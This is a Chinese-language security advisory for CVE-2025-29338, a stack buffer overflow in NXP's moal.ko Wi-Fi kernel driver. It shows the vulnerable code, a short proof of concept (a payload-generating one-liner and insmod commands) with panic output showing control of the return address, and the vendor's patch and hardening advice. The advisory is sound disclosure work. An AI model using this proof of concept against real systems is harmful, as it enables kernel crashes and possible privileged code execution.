woal_setup_module_param / parse_cfg_get_line)| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-29338 |
| 严重性 | 高 |
| CVSS v3.1 分数 | 7.8 |
| CVSS v3.1 向量 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 漏洞类型 | 基于栈的缓冲区溢出 (CWE-121) |
| 攻击向量 | 本地 |
| 供应商 | NXP Semiconductors |
| 供应商补丁状态 | 已修补 |
| 发现者 | Mahmoud Jadaan — diconium auto GmbH |
NXP moal.ko Wi-Fi 内核驱动(版本 5.1.7.10)在固件构建版本 v17.92.1.p149.43 至 v17.92.1.p149.157 中存在基于栈的缓冲区溢出漏洞。该漏洞位于 parse_cfg_get_line(mlinux/moal_init.c)中,由 woal_setup_module_param 调用。将配置文件行读入固定大小栈缓冲区的 while 循环缺少目标边界检查,导致任意长度的行可以溢出缓冲区、破坏栈并触发内核恐慌。NXP PSIRT 已确认漏洞并发布了修复。
| 字段 | 详情 |
|---|---|
| 供应商 | NXP Semiconductors |
| 组件 | moal.ko Wi-Fi 内核驱动 |
| 驱动版本 | 5.1.7.10 |
| 固件 — 首个受影响版本 | v17.92.1.p149.43 |
| 固件 — 最后一个受影响版本 | v17.92.1.p149.157 |
woal_setup_module_param 分配一个固定大小的栈缓冲区(MAX_LINE_LEN 字节),并在处理 mod_para 配置文件时,每次迭代将其传递给 parse_cfg_get_line:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
在 parse_cfg_get_line 的易受攻击版本中,while 循环条件仅检查源位置和行终止符——没有检查已写入目标缓冲区的字节数:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
配置文件中超过 MAX_LINE_LEN 字节的行会导致 dest 超过调用者栈缓冲区的末尾,覆盖相邻的栈内存,包括保存的帧指针和返回地址。
| 属性 | 值 |
|---|---|
| 类型 | 本地 |
| 所需权限 | CAP_SYS_MODULE(root 或等价) |
| 用户交互 | 无 |
| 攻击面 | mod_para 内核模块参数(配置文件路径) |
驱动在系统启动时通过 insmod 加载,其中 mod_para 参数指向一个配置文件。能够写入精心构造的配置文件并重新加载内核模块的攻击者可以触发溢出。
| 影响 | 描述 |
|---|---|
| 拒绝服务 | 内核恐慌 — 已确认;导致立即系统重启 |
| 内核内存破坏 | 栈破坏覆盖保存的 rbp 和返回地址 |
| 潜在代码执行 | 返回地址受控 — 根据现有的缓解措施(栈 canary、KASLR 等),可能实现任意内核模式代码执行 |
| 指标 | 值 | 理由 |
|---|---|---|
| 攻击向量 (AV) | 本地 (L) | 需要本地系统访问 |
| 攻击复杂度 (AC) | 低 (L) | 无竞争条件或复杂前提 |
| 所需权限 (PR) | 高 (H) | 需要 CAP_SYS_MODULE / root |
| 用户交互 (UI) | 无 (N) | 完全由攻击者控制 |
| 范围 (S) | 不变 (U) | 影响保持在内核上下文内 |
| 机密性 (C) | 高 (H) | 内核内存可能可读 |
| 完整性 (I) | 高 (H) | 返回地址覆盖已演示 |
| 可用性 (A) | 高 (H) | 内核恐慌/重启已确认 |
基础评分: 7.8 (高)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
仅供防御和研究目的提供。
#!/bin/sh
rmmod moal
rmmod mlan
栈缓冲区填满 A,接着 8 字节的栈 canary 槽位(B),8 字节保存的 rbp(C),以及 8 字节用于覆盖返回地址(D):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
mod_para 路径必须相对于内核搜索固件的目录(通常是 /lib/firmware/)。相应地构造路径:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
模块初始化期间立即触发内核恐慌。内核日志确认返回地址被覆盖为 0x4444444444444444(ASCII DDDDDDDD),展示了指令指针的完全控制:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT 已确认漏洞并提供了以下对 mlinux/moal_init.c 的补丁。修复在 parse_cfg_get_line 循环中添加了边界检查,以在超过 MAX_LINE_LEN 之前跳出:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
更新至包含上述补丁的固件版本(v17.92.1.p149.157 之后)。作为额外加固措施:
CAP_SYS_MODULE 限制给受信任的管理员;通过 SELinux、AppArmor 或 seccomp 强制执行 init_module / finit_module 系统调用限制。mod_para 引用的路径及其指向的文件仅 root 可写。NXP PSIRT 已确认漏洞。修复已作为正式软件更新的一部分发布。
发现者: Mahmoud Jadaan — diconium auto GmbH
本公告作为公开参考发布,以满足 CVE 计划的最低披露要求。